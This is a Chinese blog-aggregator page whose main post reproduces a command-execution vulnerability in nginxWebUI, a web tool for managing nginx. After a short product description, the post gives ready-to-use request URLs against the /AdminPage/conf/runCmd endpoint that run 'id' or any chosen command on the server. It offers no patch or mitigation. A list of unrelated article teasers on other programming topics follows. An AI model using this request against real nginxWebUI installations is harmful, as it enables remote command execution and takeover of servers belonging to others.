nginxWebUI runCmd命令执行漏洞复现

news2024/11/24 18:26:09

系统描述

NginxWebUI 是一款图形化管理 nginx 配置的工具，可以使用网页来快速配置 nginx单机与集群的各项功能，包括 http协议转发，tcp协议转发，反向代理，负载均衡，静态 html服务器，ssl证书自动申请、续签、配置等，配置好后可一建生成 nginx.conf文件，同时可控制 nginx使用此文件进行启动与重载，完成对 nginx的图形化控制闭环。

漏洞复现

访问url

url地址 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx

url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/785503.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

【Python机器学习】实验01 Numpy以及可视化回顾

文章目录一、Numpy的基础知识实验1 生成由随机数组成的三通道图片，分别显示每个维度图片，并将三个通道的像素四周进行填充，分别从上下左右各填充若干数据。二、Numpy的线性代数运算实验2 请准备一张图片，按照上面的过程进行矩阵…

磁场强度单位和磁感应强度单位转换

磁学量常用单位换算、磁场强度单位和磁感应强度单位转换。磁场单位 Oe（奥斯特）,A/m,T（特斯拉）三种. 1T1000mT 1mT10Gs 1Gs79.6A/m 1T(特斯拉)10000Gs(高斯)1Wb/M2 1Gs(高斯)1Oe(奥斯特)

C#实现系统进程的调用，查看进程调用的模块

1.需要使用命名空间：System.Diagnostics; 2.Process.GetProcess()可以获取所有进程 3.获取进程调用的模块 ProcessModuleCollection modules currentProcess.Modules; foreach循环一下FileName就可以查看调用了什么dll文件了 4.有关进程的信息（Process…

线性神经网络——softmax 回归随笔【深度学习】【PyTorch】【d2l】

文章目录 3.2、softmax 回归3.2.1、softmax运算3.2.2、交叉熵损失函数3.2.3、PyTorch 从零实现 softmax 回归3.2.4、简单实现 softmax 回归 3.2、softmax 回归 3.2.1、softmax运算 softmax 函数是一种常用的激活函数，用于将实数向量转换为概率分布向量。它在多类别…

基于STM32F10x的独立按键测试

本人基于野火指南者开发板，使用FreeRTOS,创建按键任务。在按键任务里面每隔20毫秒扫描一下按键。包括独立按键，矩阵按键(由于本人没有矩阵按键，故没有测试)。按键40毫秒以上为短按、1秒以上则为长按、3秒以上则为一直按。且长按10秒以上则…

网络安全（黑客）自学基础到高阶路线

01 什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面…

Docker + MYSQL 启动nacos

Docker启动nacos默认用的是内存数据库，重启docker容器以后，nacos配置会丢失，非常不方便。所以需要修改为使用Mysql作为nacos的存储。 1.数据库创建mysql数据库，过程省略，将nacos 的mysql脚本在数据库中进行导入。 m…

北航投资已投企业四象科技成功发射三颗卫星

1箭4星！2023年7月23日10时50分，我国在太原卫星发射中心使用长征二号丁运载火箭，成功将四象科技“矿大南湖号”SAR遥感卫星、“虹口复兴号”光学遥感卫星、“中电农创号”热红外遥感卫星以及银河航天灵犀03星共4颗卫星发射升空，卫星…

当机器人变硬核：探索深度学习中的时间序列预测

收藏自：Wed, 15 Sep 2021 10:32:56 UTC 摘要：时间序列预测是机器学习和深度学习领域的一个重要应用，它可以用于预测未来趋势、分析数据模式和做出决策。本文将介绍一些基本概念和常用方法，并结合具体的案例，展示如何使…

7D透明屏的市场应用广泛，在智能家居中有哪些应用表现？

7D透明屏是一种新型的显示技术，它能够实现透明度高达70%以上的显示效果。这种屏幕可以应用于各种领域，如商业广告、展览展示、智能家居等，具有广阔的市场前景。 7D透明屏的工作原理是利用光学投影技术，将图像通过透明屏幕投射出来…

VMware 创建Centos7虚拟机后nat模式无法联网

1. 网卡改为on，dhcp模式，重启网卡，如果还是无法联网 2.修改 /etc/resolv.conf，增加DNS 223.5.5.5,保存后即可ping 通百度，联网。在此记录一下

SolVES模型安装教程

前文是关于SolVES模型扫盲，熟悉SolVES模型的伙伴可直接跳到下面的安装教程。目前生态系统服务评估主要集中于经济价值，相关的评估方法也较多，如价值当量法、InVEST模型法、市场价格法等，而随着生态系统服务的社会价值得到越多越…

firefox笔记-Centos7离线安装firefox

目前（2023-03-22 16:41:35）Centos7自带的firefox已经很新了是2020年的。主要原因是有个web项目，用2020年的firefox打不开。发到互联网上是2023-07-24。报错是js有问题，估计是搞前端的只做了chrome适应，没做firefox…

一、将byte数组转二进制流文件，并保存到本地 byte [] oneshotBytesnew byte[]{78,-29,51,-125,86,-105,56,82,-94,-115,-22,-105,0,-45,-48,-114,27,13,38,45,-24,-15,-13,46,88,-90,-66,-29,52,-23,40,-2,116,2,-115,17,36,15,-84,88,-72,22,-86,41,-90,-19,-58,19…

Docker 的数据管与 Dockerfile

目录 Docker 的数据管理容器互联（使用centos镜像）Docker 镜像的创建1．基于现有镜像创建2．基于本地模板创建3．基于Dockerfile 创建镜像加载原理 Dockerfile 操作常用的指令（1）FROM 镜像&#xff…

平台使用篇 | RflySim平台Simulink-PSP工具箱使用简介

导读 Pixhawk Pilot Support Package (PSP,自驾仪支持包)工具箱是Mathworks公司官方为Pixhawk推出的一个工具箱。本篇围绕RflySim平台Simulink-PSP工具箱使用进行详解。 RflySim平台Simulink-PSP工具箱使用简介 PSP工具箱 Pixhawk Pilot Support Package (PSP,自驾仪支持包)工…